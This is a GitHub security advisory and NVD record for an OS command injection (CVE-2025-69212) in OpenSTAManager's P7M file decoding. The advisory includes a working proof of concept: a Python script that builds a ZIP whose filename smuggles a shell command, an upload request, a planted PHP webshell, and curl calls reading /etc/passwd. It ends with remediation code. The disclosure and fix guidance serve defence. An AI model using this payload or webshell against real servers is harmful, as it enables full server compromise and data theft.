{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T17:59:37Z",
    "nvd_published_at": "2026-02-06T19:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.\u0027/\u0027.basename($file, \u0027.p7m\u0027);\n\n    try {\n        if (function_exists(\u0027exec\u0027)) {\n            // VULNERABLE - No input sanitization!\n            exec(\u0027openssl smime -verify -noverify -in \"\u0027.$file.\u0027\" -inform DER -out \"\u0027.$output_file.\u0027\"\u0027, $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, \u0027.p7m\u0027)) {\n           $file = XML::decodeP7M($directory.\u0027/\u0027.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, \u0027.p7m\u0027)) {\n       $file = XML::decodeP7M($this-\u003efile);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**\u26a0\ufe0f IMPORTANT NOTE:** PHP\u0027s `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory \u0026\u0026 command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files \u0026\u0026 echo \u0027\u003c?php system($_GET[\\\"c\\\"]); ?\u003e\u0027 \u003e SHELL.php\"\nmalicious_filename = f\u0027invoice.p7m\";{cmd};echo \".p7m\u0027\n\nwith zipfile.ZipFile(\u0027exploit.zip\u0027, \u0027w\u0027) as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, \u0027\u003c\u0027 not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn\u0027t contain shell metacharacters\n    if (preg_match(\u0027/[;\u0026|`$(){}\\\\[\\\\]\u003c\u003e]/\u0027, $file)) {\n        throw new \\Exception(\u0027Invalid file path\u0027);\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match(\u0027/^[a-zA-Z0-9._-]+$/\u0027, $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, \u0027.p7m\u0027)) {\n        $file = XML::decodeP7M($directory.\u0027/\u0027.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
  "id": "GHSA-25fp-8w8p-mx36",
  "modified": "2026-02-06T22:11:47Z",
  "published": "2026-02-06T17:59:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69212"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has an OS Command Injection in P7M File Processing"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server."
    }
  ],
  "id": "CVE-2025-69212",
  "lastModified": "2026-02-06T21:57:22.450",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-06T19:16:07.373",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}